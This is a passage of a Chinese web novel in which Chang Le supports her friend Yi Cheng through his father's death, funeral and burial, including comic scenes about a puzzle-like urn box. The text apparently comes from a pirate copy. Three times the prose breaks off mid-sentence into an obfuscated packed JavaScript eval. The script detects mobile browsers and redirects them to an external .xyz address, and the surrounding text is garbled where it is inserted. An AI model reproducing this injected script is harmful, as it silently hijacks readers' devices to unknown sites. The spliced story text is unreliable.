他又看向前台小妹,故作严肃道:“还有你,上班时间聊八卦,还喝奶茶?我的呢?” 小妹笑嘻嘻地从外卖袋里掏出一杯奶茶,双手奉上。 没过多久,林文娟就提着琴盒下楼了,一串小孩从她身后蜂拥而下,奔向各自的妈。 “那就这么说定了,钟老师。”林文娟跟钟煜商量道,“我每次提前一小时来,用一下你们的琴房。” 钟煜斜倚着前台,一边嚼着奶茶小料,一边说:“没问题,你在前台登记一下就行。” 林文娟看着他,张了张嘴,欲言又止。 当妈的本能让她想劝阻一切喝奶茶的行为,但是学生的身份又让她不敢僭越。 林文娟最终没说什么。她趴在前台,在一张琴房预约表上填写自己的名字和使用时间。 “妈,你以后要在这儿练二胡吗?”常乐好奇地问。 林文娟点点头,“在家里练容易被人投诉,尤其是那个吴翠,跟个顺风耳似的,每次见到我都要叨叨叨,烦都烦死了。” 她正低头填写着信息,突然听到“叮”的一声。 是常乐的手机响了。 林文娟登记完,一手提起琴盒,一手挽着常乐,回头冲钟煜点点头,“我们走了。” 钟煜抬起手,“拜~~” “走吧。”林文娟拉了一下常乐,没拉动。 转头一看,她还保持着刚刚的姿势,低头盯着手机。 “怎么了?”林文娟觉得奇怪,常乐像个雕塑般一动不动,周身的空气好像凝固了。 她心下一沉,急声问:“出事了?” 常乐缓缓抬起头,神色呆滞,双眸失焦,仿佛遭了雷击。 她从喉咙里挤出一声“妈”,尾音拖着一丝哽咽,眼泪瞬间喷涌而出。 “出什么事了?”不祥的预感越来越重,林文娟大力摇晃着常乐的肩膀,急切地问:“你傻了?说话啊!是家里出事了吗?着火了?还是谁生病了?” 钟煜和前台小妹都看了过来,脸色也变得严肃。 “妈……”常乐抬起手,抹了一把眼泪,哭得一抽一抽的,“易诚说,他爸……” 林文娟明白了。 她长叹一口气,抓着常乐的手慢慢松开,移到她的肩上,轻轻拍了拍。 常乐低着头,啜泣着说:“易诚说,他爸凌晨发病,送到医院,没有抢救过来……” 林文娟轻抚着常乐的后背,语气沉重而无奈:“这种事,谁也没有办法……易诚现在还在医院吗?他一个人要处理的事太多,咱们去帮帮忙。” 常乐点点头,抬手抹掉脸上的泪,又从前台的纸盒里抽了几张纸,用力擤着鼻涕。 “节哀啊……”前台小妹讷讷地说。 常乐冲她点点头,又抽出几张纸,攥在手心。 钟煜看着她,脸色凝重,没有说话。 常乐和林文娟一前一后走出培训班,走向停在街边的车子。常乐坐上驾驶位,刚系好安全带,车窗外传来两声笃响。 钟煜站在车门旁,弯着腰,屈指在车窗上敲了敲。 常乐降下车窗,红着眼眶看着他,“钟老师,怎么了?” 钟煜说:“我送你们去吧。你这样开车不安全。” 常乐大脑反应有些迟钝,愣了半天,才明白他的意思。 她声音瓮瓮的:“行,麻烦你了。” 一路上,谁也没有说话,车厢里很安静,只能听见常乐擤鼻涕的声音。 钟煜将她们送到人民医院,便打车离开了。 常乐和林文娟急匆匆地赶到病房,易诚刚好从医生办公室出来,手上拿着一沓纸。 看到两人,他神色一僵,脚步变得迟缓。 “你们怎么来了?” 常乐一看到他,眼泪又不受控制地涌了出来,喉咙像被堵住了,不知该怎么开口。 林文娟还算冷静,问易诚:“手续都办好了吗?还有什么需要做的,我跟常乐都能帮忙。” 易诚低头看着手中的材料,声音低而缓:“医生已经开了死亡证明,也盖了手章,还需要去住院部盖个章,然后、然后……” “别慌,慢慢来。”林文娟拍拍他的肩。 易诚喃喃道:“然后联系殡仪馆,他们会派车来接爸爸,在这之前,还得给他换身衣服……” 他像是忽然反应过来,抬腿就要往外走,“我得先回趟家。” “我去吧。”常乐一把拽住他,急忙说,“要拿什么东西吗?你把钥匙给我,我去拿,你就在医院陪着易叔叔……” 常乐说着说着,声音又哽咽了。 易诚沉默许久,从口袋里掏出钥匙,递给她。 “我房间的衣柜里有个黑色行李袋,里面是我给爸爸准备的衣服和鞋。去殡仪馆之前,要给他换上。” “行。”常乐拿起钥匙,一路小跑冲进了电梯。 十几分钟后,常乐将车停在“小易轮滑培训班”门外,掏出钥匙进了屋,很快找到易诚说的行李袋。 她提着行李袋正要上车,从隔壁屋走出来一个腿脚不太方便的大妈,一瘸一拐地追着常乐,呼喊道:“哎,姑娘,你是不是要去医院?捎上我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815559|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我也去。” 常乐回过头,恍惚记起易诚曾跟她提过,隔壁家有个王大妈,平时对父子俩很照顾,经常请他们到家里吃饭。 “王大妈?”常乐试探着询问。 “哎哎,是我,你就是常乐吧?我在小区见过你几次。”王大妈终于走到她面前,抬起头打量着她,“易诚跟我提过你。” 常乐拉开车门,“上车吧。” 一路上,王大妈连连叹气,说后半夜听到救护车的声音,她心里就七上八下的。早上去易诚家敲门,半天没人开,她就猜到易志刚又出事了。 “哎,可怜啊,终究没扛过去。”她低头抹着泪。 常乐的心头也翻涌着酸涩,仿佛浸在了眼泪里。 她们匆匆赶到病房,门口有两个年轻人在等候。他们穿着一身黑,戴着白手套,应该是殡仪馆的工作人员。 没过多久,林文娟办好了出院手续,给常乐打了个电话。 “易诚。”常乐轻敲病房的门,小声提醒他,“手续已经办好了。” 易诚打开门,走了出来,从常乐手中接过行李袋,轻声说:“谢谢了。” “孩子啊!”王大妈一把抱住他,呜咽着说,“你爸这一生辛苦了,他走了也算是解脱了,你要好好地活下去,不要让他担心,知道吗?” 易诚点点头,喉结滚动,什么都没说,任由王大妈的眼泪浸透自己的胸口。 等王大妈稍稍恢复平静,他松开了她,关上了病房的门。 病房里只剩下易诚和他的父亲。 他打开行李袋,从里面取出毛巾、衣物、鞋,整齐摆放在旁边的空病床上,又用塑料盆接了盆热水,将白毛巾浸泡在里面。 然后,他将父亲的衣物一件件脱下,叠好,放进行李袋里,再用温热的毛巾擦拭着他的脸庞、耳后、脖子,从上到下,不遗毫发。 接着,他给父亲换上干净的内衣,穿上裤子,扣好衬衫,系紧皮带。父亲的身体很僵硬,衣服和鞋子需要比平时大一码才能穿得进去。 最后,他伫立在病床边,静静凝望着父亲的脸庞。 直到门口传来敲门声,易诚才回过神来,小心翼翼地抱起遗体,放置在担架床上。 病房门开了,常乐看到一张担架床被推了出来,先是鞋子,然后是腿,接着是上半身,最后,她看到了易叔叔的脸。 他像是睡着了,神色平静,面容安详。 那一瞬,常乐恍惚觉得,死亡似乎没有那么可怕。它就像是一场长眠,无忧亦无惧,无想亦无梦。 所有的惧和梦,都留给了活着的人。 常乐开着车,载着林文娟和王大妈,跟在殡仪馆的车后面,去往青江市殡仪馆。 她们陪着易诚,办理遗体冷藏手续,确认了火化的时间,预定了一个小型告别厅。 在挑选丧葬用品时,常乐看到骨灰盒的价格,不禁咂舌。 最普通的也要五百,稍微好一点的就得上千。 易诚仰着头,视线在各种骨灰盒上一一扫过,似乎陷入了纠结。 常乐凑到他耳边,小声说:“你要是不嫌弃的话,我家还有三个闲置的骨灰盒——嗷!” 后脑勺飞来一记爆栗。 常乐捂着脑袋,忍痛回头,看到林文娟一脸怒容。 她压低声音,警告道:“这种时候别开玩笑!” “我没有……”常乐简直有苦难言。 她是看到易诚已经花了不少钱,想着能省一点是一点,才好心提出建议。 易诚收回视线,回忆片刻,问她:“我记得,你姥爷是不是还发过一个骨灰盒的视频?” “对对对。”常乐连连点头,“那三个骨灰盒还在我家里呢,质量还挺好的。我们一时也用不上,你要是不嫌弃的话……” 易诚嘴角弯起一个浅浅的弧度。 “不嫌弃。”他认真地说,“谢谢。” 常乐心里一块石头落地了,刚要开口,又听见易诚说:“对了,那个粉色的……不要。” 46. 46 常乐火急火燎地赶回家,一扇一扇地打开储物柜的门,在里面翻翻找找。 姥姥从厨房里走了出来,一边在围裙上擦手一边问:“怎么就你回了?你妈呢?” “在易诚家帮忙呢。”常乐整个脑袋都钻了进去,声音从柜子里传来,“姥,那几个骨灰盒呢?” 姥姥蹲在常乐身后,扯着她的胳膊往外扒拉,“这么说,易志刚的事是真的?我听老孙说,他半夜送去抢救,没救回来……” 常乐点点头,鼻头一酸,眼眶又红了。 姥姥叹了口气,眼窝里溢出了泪花,唏嘘道:“可怜啊,还不到六十就……唉!” 常乐又打开一扇柜门,终于找到那个黑檀木骨灰盒。 “姥,还有两个骨灰盒,你看到了吗?” “在这儿呢。”姥姥揉着眼睛起身,蹒跚着走进了厨房。 常乐也跟了进去,见她从下层的橱柜里端出一个白色瓮罐。常乐伸出双手去接,手腕陡然一抖,差点没接住。 “里面装了什么啊?这么沉?” 她把瓮罐放在餐桌上,打开圆形盖子,发现里面竟然装满了白色膏状物,中间还挖了个浅坑,坑里搁着一只白色瓷勺。 鼻子凑近,闻到一股浓郁而熟悉的香味。 “姥!你你你——”常乐简直不敢置信,舌头都打结了,“你居然用它装——猪油?” 姥姥一脸坦然:“啊,咋啦?前几天菜市场南门那家猪肉铺子猪板油做活动,我买了十斤,你瞅瞅这猪油炸得多好,雪白雪白的。” 常乐震惊地瞪大眼,嚷嚷道:“那你也不能用骨灰坛子装啊!” 姥姥振振有词道:“我瞅着这个坛子大小正好,而且耐高温,还带个盖子,简直是为这罐猪油量身定做的。反正咱家一时半会儿也用不上,干脆拿来物尽其用了呗。” 常乐:“……” 她深吸一口气,试图找回理智:“姥,你知道这坛子网上卖多少一个吗?两百八!你拿它装猪油,不觉得太奢侈了吗?” “我只是暂时用一下。又不一次性的东西,以后谁要用,洗干净了就好了嘛。” “……谁想要自己的骨灰染上一股子猪油味啊?这这这……多招老鼠啊!” 姥姥噎了一下,脸色讪讪的。 “你现在要用啊?要不我把猪油挖出来,给你洗洗?” 常乐抬起手制止她,深吸一口气,“免了。还有一个呢?” 姥姥冲卧室方向抬了抬下巴,“在我床头柜上。” 常乐:“……” 这老太太胆儿挺肥啊,把骨灰盒放床头,是能驱魔还是能辟邪啊? 她冲进姥姥的卧室,一眼就看到床头柜上摆放着一个粉色陶瓷方盒。打开盖子一看,里面塞满了针线、纽扣和各种碎布。 常乐深感无语的同时,也暗暗松了口气,庆幸这些东西没什么怪味儿,以后不会熏染到她的骨灰。 姥姥跟在她身后,抱怨道:“这罐子挺好看的,就是怪吓人的。我有次半夜起床,手不小心碰到了这个盖子,它忽然鬼叫起来了……”姥姥拍拍胸脯,似乎惊魂未定,“我当时没戴助听器,一开始没听清,倒是把你姥爷吓得够呛,以为我被鬼上身了呢……” 常乐气笑了:“什么鬼叫?那是在唱歌。” 姥姥回忆片刻,不太确定:“忘了是唱歌还是念经,什么狗叫啊、树叶啊、迷迷糊糊、急急忙忙的……”她搓了搓耳朵,“哎哟,鬼哭狼嚎的,可难听了。” “是这个声音吗?” 常乐端起陶瓷盒,转动盒盖上的水晶蝴蝶结,一道女声冷不防地响起:“你看小狗在叫,树叶会笑,风声在呢喃,不如好好欣赏一秒迷迷糊糊的浪漫……” “对对对。”姥姥急忙捂住助听器,“哎哟,一听到这声音,我就浑身发毛。” 常乐斜眼瞟着她。 “姥姥!这是我唱的!”她气得目露凶光,鼻孔直喘粗气,“你连我的声音都听不出来了?!” “啊?”姥姥大为震惊,“这是你唱的?” 常乐重重地点头,“这个骨灰盒有录音功能,可以录三十秒的声音,一转动蝴蝶结就能播放。当时给姥爷拍视频的时候,我为了演示这个功能,特地录了一段自己唱歌的声音。” 她又放了一遍,一边听一边嘟哝:“哪儿难听了?挺好听的啊!” “好听好听,怪我没品味。”姥姥敷衍地附和道,“你这金嗓子可得保护好了,以后不要轻易开口。别人唱歌要钱,你唱歌要命啊。” 常乐:“……” 她想起当时录这段音频的时候,姥爷好像有什么急事走开了,等她唱完了才慢悠悠地回来。她问他要不要听一遍,他连连摆手,说不必了,他对她百分百地信任。 常乐把粉色陶瓷盒放回床头柜上,回到餐厅,看到桌上那个孤零零的黑檀木骨灰盒。 只剩下它了。 从颜值上来看,它颜色沉稳,造型简洁大气,材质高级,品质上乘,放在殡仪馆至少要卖上千元。 只有一个缺点——打开它的难度不亚于做一百道奥数题。 姥姥说,她本来想用它装自己的各种证件和印章,结果试了一晚上,根本找不到入口。找姥爷帮忙,他笨手笨脚的,打不开不说,还差点把盒子摔了。 “设计的什么玩意儿?根本不是给人用的。”姥姥骂骂咧咧,最后只得把盒子放回原处。 常乐暗自庆幸,又用纸巾擦拭掉黑檀木上的手印和灰尘,然后将盒子装进帆布袋里。 “我给易诚拿过去。”她提起袋子就要走。 “哎哎,晚饭都做好了。”姥姥举着锅铲出来,叫住她,“我给易诚留一份,你先吃,吃完了再给他送过去。” 常乐兴致缺缺:“算了吧,我没胃口。” 鼻子底下飘来饭菜的香味,常乐脚步一顿,听到肚子不争气地响了。 “……做的什么菜啊?” “蒜香鸡翅、春笋炒腊肉、槐花煎蛋,还有清炒莴苣。” 常乐咽了咽口水,刚要回到餐桌,忽然想起什么,狐疑地皱起眉,问:“该不会是用那罐猪油做的吧?” “不然能这么香吗?”姥姥说得理所当然。 “那算了。”常乐下巴一扬,一脸正气凛然,“我不吃骨灰坛子里的猪油做的菜。” “爱吃不吃。”姥姥翻了个白眼,转身进了厨房,又大声喊道:“你进来,用保温桶装点菜,给易诚带过去。” 一分钟后,常乐就把持不住了,往嘴里塞了个鸡翅。 十分钟后,她怀着沉痛的心情,一个人干掉了半盘蒜香鸡翅。 沉痛的原因,一是因为自责。大家还沉浸在悲伤之中,她却先吃上了,还吃得那么香。 二是因为失望。这种时候,她还能吃得下饭,可以预见,这辈子她注定与瘦无缘了。 “不是说吃不下吗?”姥姥往她碗里夹了一筷子煎蛋,幽幽地说。 常乐一边吐鸡骨头一边说:“我哭了一天,哭饿了……这不能怪我,哭是很耗费体力的。” 不得不承认,猪油炒菜就是香啊。 吃饱喝足后,常乐一手提着保温桶,一手抱着骨灰盒,朝易诚家走去。 快到“小易轮滑培训班”的大门时,她与一个瘦高个擦肩而过。 虽然他上半张脸用鸭舌帽挡住,下半张脸用口罩遮住,双手抄在兜里,低头走路,没发出一丝声音,但常乐还是从他身上散发出的隐隐的馊味,一秒钟就猜到他的真身—— “王哥?”她回头喊住他,“你是来找易诚的?” 王哥脚步一顿,回头看向她,眼神透着一丝紧张。 他点点头,小声说:“我听我爸说他家里出事了,想过来看看……可是人太多了,我不敢进去……” “太多人了?”常乐觉得奇怪。除了林文娟和王大妈,还有谁在易诚家呢? “我在门口扫了一眼,有十几个人,估计都是过来帮忙的。”王哥压低声音,跟做贼一样,“等晚上我再过来吧。” 常乐举起保温桶,冲他晃了晃,“行,你先回去吧。” 王哥缩起脖子,鬼鬼祟祟地走了。 常乐推开培训班的门,果然,训练室的地板上围坐了一圈人,几个老人坐在矮凳上,剩下的靠墙站着。林文娟也站在墙角,前面坐着姥爷。每个人的脸色都很凝重。 易诚坐在人群中间,一个胸前别着徽章的短发大妈正跟他说着什么,另一个戴眼镜的年轻人正低头在本子上记录。 常乐蹑手蹑脚地走进去,挤到林文娟身边。 “妈,怎么这么多人?”她悄声问。 “都是街坊邻居,过来吊唁的。中间那两个,”林文娟视线转向那个短发大妈,“是社区的,过来慰问,顺便收集丧葬信息。” 常乐点点头,耐心地等了十几分钟,两只胳膊都拎酸了。等那两个工作人员离开后,几个老人又拉着易诚长吁短叹地抹眼泪,期间,易诚起身接了个电话,走进了卧室。 常乐赶紧跟过去,听到他对着电话那头说:“明天上午十点,在青江市殡仪馆,松鹤厅……我微信上发给您……行,您注意安全。” 易诚挂断电话,一转头,看见常乐,视线定了一瞬,又垂落下去。 “要联系的人有点多,我爸那边的亲戚、老同事、老同学,还有我妈那边的亲戚……”他低声解释,像是在喃喃自语,“事情太多了,明天就要办葬礼了,之后还得买墓地,刻墓碑、下葬……” 常乐开口打断他:“易诚,你还没吃饭吧?”她提起保温桶,放在一张小方桌上,“这是姥姥做的,赶紧趁热吃吧。” 易诚微微一怔,视线落在保温桶上,眼底隐约闪过一丝水光。 “先放这儿吧。”他哑声说,“等大家都回去了,我再吃。” 常乐沉默片刻,又将怀中的帆布袋放在保温桶旁。 “还有这个,我给你拿过来了。”她打开帆布袋,露出骨灰盒的一角,“你要检查一下吗?” 易诚摇摇头,“不用,谢谢了。” 常乐:“这个盒子不好打开,我给你演示一遍吧。” 易诚依旧摇头,“没事儿,我晚上自己研究一下。” 常乐张了张嘴,还想继续劝他,卧室门被推开了,翠姨和孙奶奶快步走了进来。 “孩子啊!”孙奶奶一开口便哭了,干枯的双手紧紧攥住易诚的手,“你爸这辈子过得太苦了,走了也算是一种解脱,你要想开一点啊!” 翠姨从包里掏出一个信封,递给易诚,轻声说:“易诚,节哀啊。” 常乐在一旁默默等了会儿,进来的人却越来越多,她只好从门边挤了出去。 看样子,今晚易诚会很忙,骨灰盒的事,只能等到明天再说了。 -- 第二天一早,由常建民开车,一家五口前去殡仪馆参加葬礼。 松鹤厅是个小型告别厅,面积跟一间中学教室差不多大。正前方挂着挽联,中间摆放着易叔叔的遗照,靠墙摆满了花圈。 易叔叔的遗体被安置在一樽水晶棺里,周围簇拥着黄白相间的菊花。 告别仪式庄严而肃穆,所有的流程都是在司仪的引导下完成的。 常乐的心,一半沉浸在哀伤中,另一半还在惦记着那个骨灰盒。 也不知昨晚易诚有没有抽空试着打开一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827240|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后一个环节,是瞻仰逝者遗容,并慰问亲友。常乐从右边缓缓绕过灵柩,垂眸看向易叔叔的脸。 也许是化了妆的缘故,他的脸看上去比平时更年轻、更显气色,也跟遗照中的他更像。 常乐恍惚想起那个夜晚,他坐在边三轮的挎斗里,脸上漾着笑容,眼里充满了期待。 他的背影,在夜色中慢慢消逝。 他的面容,也在眼泪中渐渐模糊。 易诚和几个亲戚都站在灵柩的左边。常乐绕到他面前,轻轻抱住了他。 他的身体很冷,手臂僵硬地抬起,也抱住了她。 他们像两棵纤瘦的小树,在风雨中沉默相拥。 按照流程,来宾在瞻仰完遗容后,要先离开大厅,留亲友做最后的告别。 大部分宾客都自行离开了,常建民也提议先回去,常乐站着没动。 “你们先回去吧。”她说,“我再等一会儿。” 常建民劝道:“待会儿就要火化了,只能亲友能进去,你待在这儿也没用。” 常乐犹豫片刻,仍有些担忧:“我不放心……爸,你们先回去吧,我待会儿自己打车回。” “你让她自己拿主意吧。”林文娟扯了扯常建民的衣袖,“咱们先回去。” 门外的人陆续走了,只剩常乐一个人,背靠着冰冷的墙壁,静静聆听门里传出的哭泣声。 她忽然想到一件事:这两天,好像没看到易诚哭过。 难道是他已经足够坚强,能够面对一切生离死别?还是他在强忍着悲痛,不敢流露出一丝一毫的脆弱? 不管是哪种,都不太正常。 常乐正琢磨着,大厅的门突然开了,易诚和几位亲戚走了出来。 他抬眼看到常乐,脸上闪过一丝诧异,但什么也没说。 “易诚,你是要去领骨灰吗?”常乐说,“我跟你一起去。” “没事儿,我自己去就行。”易诚平静地说。 常乐踮起脚尖,伏在他耳边,悄声说:“我怕你打不开骨灰盒。” 易诚看着她,一时默然,最终,点了点头。 一行人被司仪带到休息室,墙上的电子屏显示出逝者的姓名和火化的时间。 常乐和易诚在角落坐下,常乐从他怀里端走骨灰盒,放在椅子上,自己则蹲在地上,开始掰盒盖。 先移动右边的小长方形,然后将中间的正方形挪到右边,再撬开左边的小长方形…… 接下来是什么步骤来着? 常乐懊恼地捶了捶自己的脑袋。 这个死脑子,每次都卡在这儿。 “别急,慢慢来。”易诚温声安慰她,“火化要一个多小时呢。” “你等等啊,我看一眼视频。” 常了掏出手机,打开微信,想找到跟骨灰盒商家的聊天记录,这才想起来,那天她一怒之下把那个奸商给删了! 这下完蛋了。 去哪儿找教程呢?那家网店叫什么名字来着?网上不知道能不能搜到同款? 就在这时,易诚提醒了她:“你姥爷发的视频里,不是教过怎么打开吗?你进他抖音看看。” 常乐眼睛一亮,像是找到了救星,急忙打开抖音,点进姥爷的主页,很快找到那条给骨灰盒打广告的视频。 将进度条拉到最后,她看到自己的双手出现在屏幕中。 手指有点短,看上去像小孩的手,指甲也很久没做保养了…… 等等,她在想什么?赶紧干正事啊! 常乐又敲了敲脑袋,重新进入状态,跟着视频里自己的双手,一步一步挪动盒盖,先右边,再中间,再左边,然后把这个小方块掰上来…… 视频演示得太快了,她一个步骤没跟上,又陷入了混乱。 如此反复失败,反复重来,常乐已经急得满头大汗。 “哎呀呀呀呀——”她气得直叫唤。 世上怎么会有如此无厘头的设计? 这是什么益智类的玩具吗?她就放个骨灰,还得先做一套智力测试? 易诚始终沉默地看着她,不催促,也不责怪。 忽然,常乐听到一声“噗——” 她震惊地抬起头。 易诚居然笑了。 在这么紧张的时刻,这么严肃的场合,他居然笑了,还笑出了声。 他脑子还正常吗?不会是受到了重大刺激,突然癫狂了吧? “对不起……”易诚捂着嘴,笑得眼眸弯弯,上半身都在颤抖。 笑着笑着,眼泪渐渐从眼眶涌出,顺着脸颊淌落。 他抬起手,捂住眼睛,肩膀剧烈地颤抖起来。 “对不起……”易诚声音哽咽,“我实在没忍住,我不想哭的……” 常乐站起身,抡起胳膊,一巴掌拍在他的后背上,声音清脆响亮。 休息室里,其他人都震惊地望过来。 “忍什么忍?”常乐双手掐腰,大声呵斥易诚,“不准忍!给我哭!嗷嗷地哭!谁要是敢不让你哭,我就把他打哭骂哭!” 易诚呜咽了一声,啜泣声慢慢变大,他开始哭喊、恸哭,最后,竟成了声嘶力竭地嚎叫。 在他凄厉的哭声中,常乐终于打开了骨灰盒。 时间到了,工作人员示意可以进去领骨灰了。 易诚捧着骨灰盒,站起身,又回头看向常乐。 他的眼睛哭得又红又肿,只能眯起一条缝看她。 常乐微微仰着头,看到他这副水肿的模样,莫名想笑。 “常乐,你知道吗,你有一种神奇的能力。” 易诚嗓子沙哑,说话带着厚重的鼻音。 “你能让眼泪笑着流出来。” 47. 47 在工作人员的带领下,易诚独自进入了取灰室。常乐和几个亲戚都在门外等候着。 过了一会儿,门开了道小缝,工作人员的脑袋探了出来。 “请问,哪位是常乐?” 常乐一愣,指了指自己,“我……怎么了?” “麻烦您进来一下。” 在众人疑惑的目光中,常乐稀里糊涂地走进了取灰室。 易诚就站在门后,双手捧着骨灰盒,盖子敞开,常乐看到里面多了一个金色的绸布袋。 不等她发问,易诚主动解释道:“抱歉啊,我不知道怎么盖上……只能再麻烦你了。” 常乐想起来了,这个骨灰盒开盖和封盖的过程一样复杂。好在她已经有了丰富的经验,这次不用看视频,一挪二掀三卡扣,再重复操作几次,就顺利封好了骨灰盒。 常乐长舒一口气,略带歉意地说:“我也不知道这设计师是咋想的,设计得跟个藏宝箱一样。要是买个普通的骨灰盒,就没有这么多麻烦事了,真是抱歉。” 易诚将骨灰盒放在一块红布上,将它一层层包住,重新抱在怀中。 “你说得没错。”他垂眸注视着怀中的骨灰盒,“它就是个藏宝箱。” 顿了顿,他又补上一句:“我把最珍贵的宝贝藏在里面了。” -- 常乐回到家,总觉得心里空落落的。玩手机没心情,睡觉也睡不着,姥姥进来跟她聊天,她也没精打采地敷衍着。 “下葬的日期定了吗?”姥姥坐在床边问。 “易诚下午会去买墓地,确定下葬的时间。”常乐靠在床头,怀里抱着一只小奶狗,胡乱撸着它的屁股,“应该会定在易叔叔的头七吧。” 姥姥掐指一算,“那就是下周五。到时候我们都去吧,顺便看看你姥爷买的那两块墓地。” 常乐心口突然一疼,闷闷地,没吭声。 当初,听说姥爷买了墓地,她并没有想太多。看到姥爷试穿寿衣的视频,她也以为他是为了博流量、开辟新赛道。 她一直觉得,姥姥姥爷身体还算硬朗,再活过个十几二十年完全没问题,却从未想过,死亡是会随时降临的。 两位老人活了大半辈子,见惯了生死,一定比她更早意识到这一点。 姥姥见常乐闷不吭声,搡了搡她,“我晚上多做几个菜,你把易诚叫过来,跟我们一起吃。他现在孤零零的一个人,怪可怜的。” 常乐揉着小奶狗的肚子,怏怏地说:“算了吧,他肯定想一个人待着。” 姥姥固执地说:“你先叫,叫不过来再说嘛。” 常乐呼出一口气,仰面倒在床上,背对着姥姥,“晚上再说吧,我先睡会儿。” -- 直到暮色四合,常乐才提着保温桶,慢悠悠地朝易诚家走去。 易诚家里亮着光,她贴在门上听了一会儿,直到确认里面没有其他人的说话声,才敲了敲门。 门开了,易诚出现在门口。 他眼底渗出了红血丝,脸颊凹陷下去,才半天时间不见,仿佛消瘦了一大圈。 “就你一个人啊?”常乐探着脑袋,向训练室里张望,“你亲戚呢?” 易诚声音低哑:“都回去了,等下葬那天再过来。” “什么时候下葬?” “下周五。”易诚把门开得更大,“我正在收拾东西,家里有点乱,你自己找地方坐吧。” 常乐跟着他进屋,训练室的地板上一片狼藉,各种衣服、书籍、杂物四处散落。 她找了块空地坐下,把保温桶放在地上。 “还没吃吧?先吃饭再收拾吧。” 易诚在她对面坐下,随手捡起地上的一本书,翻了几页,低声说:“我没胃口,待会儿再吃吧。” 他端来一个大储物盒,将手上的书扔了进去。 “你在整理易叔叔的遗物吗?”常乐试探着问。 “嗯。”易诚又拿起一本书,“我想找几样东西,跟他的骨灰一起下葬。” 他站起身,走进了卧室,过了会儿,又抱着一个小储物盒回来了。 “目前只找到这些东西。”易诚从里面一样样取出,摆放在常乐面前。 一对朴素的银戒、一只老旧的机械表、一个摩托车模型,还有一本现代诗集。 常乐的目光立刻被那个红黑配色的摩托车模型吸引了。 “这也是你爸的?”她拿起模型,觉得挺新奇,“他还挺有童心的。” “他病了之后,我把他的摩托车卖了,他生了好久的气。后来,我给他买了这个模型,才把他哄好。” 易诚想起那天,父亲捧着模型左看右看,高兴得像小孩一样,眼底不禁浮起了笑意。 常乐放下摩托车模型,又拿起那本泛黄的诗集。 她记得易诚曾说过,易叔叔年轻的时候爱写诗,经常给出版社投稿,有几首诗还收录进了一本诗集中。 “这就是你爸写的书?” “这么说有点夸张了。”易诚从她手里拿走诗集,翻到中间,“只有这两首是他写的。” 头顶的白炽灯投射下明亮的灯光,常乐双手捧起诗集,字正腔圆地念道:“《伏笔》,作者:易志刚。 “你还未出现, 然而心碎, 早已埋下了伏笔。 故事的开始, 是你的名字。 故事的结尾, 是我的墓碑……” 这首诗很短,常乐念完,只觉得大脑一片空白。 她试着点评几句:“写得……挺美的,有种淡淡的忧伤。” 易诚坦诚道:“其实,我不太懂。” 常乐不好意思地说:“我也没读懂。” 易诚无奈地耸耸肩,“看来,咱们两个都没什么文艺细胞。” “哈哈,两个大粗人。”常乐拍着巴掌笑起来。 这时,又传来敲门声。常乐起身去开门,看到王哥就站在门口。 她有些意外。王哥今天穿着一件黑色大衣,头发柔顺地捋在耳后,连胡茬都刮干净了,看上去人模人样的。 “你洗头啦?”常乐惊喜地问。 王哥斜她一眼,“洗头而已,又不是整容,至于这么大惊小怪嘛?” 他身上的馊味也没了,他从常乐面前经过时,常乐甚至能闻到一股孜然的香味。 进屋后才发现,他手上提着一袋烤玉米。 “给,一人一串。”王哥把袋子递给易诚。 易诚露出惊诧的神色,“你怎么知道我喜欢吃这个?” “哈,上次吃烧烤,你说想吃烤玉米,我就猜到了是老街的那家。”王哥脱下大衣,随手扔到地上,盘腿一坐,“我上初中的时候也吃过几次,嘶,真香啊。” 他从袋子里取出一根烤玉米,大口大口啃了起来,边吃边说:“后来,我爸就不让我买了,说浪费时间。” 常乐不解地问:“吃东西也浪费时间?” “对,烤一根玉米要十二分钟,吃一根要五分钟。我爸说有这个时间,不如早点回家背背单词。” 常乐和易诚面面相觑,脸上都写满了无语。 袋子里最后一根烤玉米落到了常乐手里。她先舔了一口,鲜香微辣的味道顺着舌尖直达味蕾,再啃一大口,软糯的口感带着玉米的甜香,充盈着整个口腔。 “唔唔好吃好吃。”她连连点头,忍不住问易诚,“初中的时候,你还骑车送我上下学,怎么从没带我去吃这个呢?有好吃的,都自己藏着了吧?” 易诚投来一个哀怨的眼神,幽幽地说:“我哪儿敢啊?那阵子,你爸每天晚上都守在小区门口,我要是敢晚回家一分钟,他就要冲到学校找人了。” 王哥同情地看向常乐,“你回家也要背单词啊?” 常乐哈哈大笑起来。 “我爸怕我俩早恋。”她摇摇头,“真是想多了。” 易诚抿唇一笑,低头啃着玉米,没说话。 -- 周五这天,天气好得不像话。 常乐坐在车上,看着窗外湛蓝的天空,心想,老天爷真没眼力见儿。 这种时候,不刮点风下点雨就罢了,还整得春光明媚的,仿佛是欢天喜地送人下葬。 到了陵园,她更恍惚了,山上一派春意盎然、生机勃勃,石阶的尽头有棵樱花树开得正盛,映衬着蓝天白云,仿佛是动漫里的场景。 常乐忍不住掏出手机,“咔嚓”一张,拍完又觉得不妥:她是来送葬的,不是来春游的。能不能对逝者多一点尊重,对死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 